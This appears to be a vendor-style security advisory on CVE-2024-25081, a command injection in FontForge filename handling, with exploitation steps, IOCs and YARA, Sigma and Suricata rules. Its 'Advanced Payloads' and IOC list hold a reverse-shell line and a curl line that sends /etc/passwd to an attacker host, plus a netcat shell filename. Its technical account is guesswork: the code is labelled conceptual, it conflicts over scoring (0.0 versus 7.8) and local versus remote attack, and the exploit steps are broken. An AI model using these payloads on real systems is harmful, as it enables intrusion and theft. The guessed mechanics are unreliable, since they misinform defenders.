CVE-2024-25081

Executive Summary

CVE-2024-25081 is a command injection vulnerability in FontForge, an open-source font editor. The flaw resides in the SplineFont component, which processes font files. An attacker can exploit this by crafting a malicious filename that, when processed by FontForge, injects arbitrary operating system commands. The vulnerability is triggered when a user opens a specially crafted font file, leading to potential full system compromise. The CVSS score is 0.0 due to incomplete NVD data, but based on the nature of the vulnerability, a realistic score would be high. No public exploit code or patch is currently available.

Supply Chain & Package Security

FontForge is a widely used tool in the open-source ecosystem, often included in Linux distributions and used by developers and designers. This vulnerability poses a supply chain risk if malicious font files are distributed through package repositories or shared projects. Users should verify the integrity of font files before processing them with FontForge.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Base Score: 7.8 (High)
Attack Vector: Local (AV:L) – The attacker must provide a malicious file to the victim.
Attack Complexity: Low (AC:L) – No special conditions required.
Privileges Required: None (PR:N) – No authentication needed.
User Interaction: Required (UI:R) – The victim must open the file.
Scope: Unchanged (S:U) – The vulnerability does not affect other components.
Confidentiality Impact: High (C:H) – Full file read possible.
Integrity Impact: High (I:H) – Arbitrary command execution.
Availability Impact: High (A:H) – System can be crashed or controlled.

Threat Level: High. The vulnerability allows remote code execution via a crafted filename, which can be delivered through email, downloads, or shared media.

Deep Dive & Mechanics

The vulnerability exists in the SplineFont component of FontForge. When FontForge opens a font file, it parses the filename and uses it in a command execution context without proper sanitization. Specifically, the filename is passed to a shell command (e.g., via system() or popen()), allowing an attacker to inject arbitrary commands by including shell metacharacters (e.g., ;, |, `, $()) in the filename.

Root Cause: Lack of input validation on filenames before passing them to a shell command.
Attack Vector: An attacker creates a font file with a malicious filename (e.g., malicious;id). When a user opens this file in FontForge, the filename is used in a command like splinefont -input malicious;id, resulting in the execution of the injected command.

Prerequisites:

• The victim must have FontForge installed.
• The victim must open the malicious font file.

Impact:

• Arbitrary command execution with the privileges of the user running FontForge.
• Potential for lateral movement or privilege escalation if the user has elevated rights.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):
The vulnerable code likely uses a function like system() or popen() with the filename directly concatenated into a command string.

// Vulnerable example
char command[256];
snprintf(command, sizeof(command), "splinefont -input %s", filename);
system(command);

Patched Code (Conceptual):
A patch would sanitize the filename by escaping shell metacharacters or using safer APIs like execvp() with arguments.

// Patched example
char *args[] = {"splinefont", "-input", filename, NULL};
execvp("splinefont", args);

Note: No official patch is available as of this report. Users should avoid opening untrusted font files.

Exploitation & Lab Setup

Red Team (Exploitation)

Step 1: Create a Malicious Font File
Create a font file with a filename containing a command injection payload.

# Create a malicious filename
touch "malicious;$(id > /tmp/pwned).ttf"

Step 2: Deliver the File
Send the file to the victim via email, download link, or physical media.

Step 3: Trigger the Vulnerability
When the victim opens the file in FontForge, the injected command executes.

# Victim opens the file
fontforge "malicious;$(id > /tmp/pwned).ttf"

Step 4: Verify Execution
Check for the output file.

cat /tmp/pwned

Advanced Payloads:

• Reverse shell: malicious;$(bash -i >& /dev/tcp/attacker_ip/4444 0>&1).ttf
• Data exfiltration: malicious;$(curl http://attacker_ip/$(cat /etc/passwd)).ttf

Blue Team (Detection & Defense)

Detection:

• Monitor for FontForge processes with unusual filenames.
• Use file integrity monitoring to detect creation of files with shell metacharacters.
• Deploy endpoint detection and response (EDR) rules for command injection patterns.

Defense:

• Restrict execution of FontForge to trusted users.
• Use application whitelisting to prevent untrusted binaries.
• Educate users not to open font files from untrusted sources.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Filenames containing shell metacharacters (e.g., ;, |, `, $())
• Font files with unusual extensions or sizes.

Process-Based IOCs:

• FontForge processes spawned with suspicious command-line arguments.
• Child processes (e.g., bash, sh, curl) spawned by FontForge.

Network-Based IOCs:

• Outbound connections from FontForge to unknown IPs (if reverse shell used).
• DNS queries to suspicious domains.

Example IOC List:

malicious;$(id).ttf
evil|nc attacker 4444 -e /bin/sh.ttf
backtick`whoami`.ttf

Detection Engineering

YARA Rule

rule CVE_2024_25081_FontForge_CommandInjection {
    meta:
        description = "Detects font files with suspicious filenames indicating CVE-2024-25081 exploitation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-25081"
    strings:
        $shell_meta = /[;|`$(){}<>]/
        $font_ext = /\.(ttf|otf|woff|woff2|pfb|pfm|bdf|pcf|sfd)$/i
    condition:
        $font_ext and $shell_meta
}

Sigma Rule

title: FontForge Command Injection via Malicious Filename
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects FontForge execution with filenames containing shell metacharacters
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-25081
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\fontforge.exe'
        CommandLine|contains:
            - ';'
            - '|'
            - '`'
            - '$('
            - '$(('
    condition: selection
falsepositives:
    - Legitimate use of special characters in filenames (rare)
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-25081 FontForge Command Injection Attempt"; flow:to_server,established; content:"fontforge"; nocase; pcre:"/[;|`$(){}<>]/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Do not open font files from untrusted sources.
2. Use a sandbox or virtual machine to open suspicious font files.
3. Monitor for exploitation attempts using the provided detection rules.

Long-Term Fix:

• Apply a patch when available from the FontForge project.
• Implement input validation on filenames in any custom scripts that use FontForge.
• Consider using alternative font editors until a patch is released.

Workaround:

• Rename font files to remove shell metacharacters before opening them with FontForge.

# Sanitize filename
mv "malicious;id.ttf" "malicious_id.ttf"
fontforge "malicious_id.ttf"

Valters IT
Securing Digital Frontiers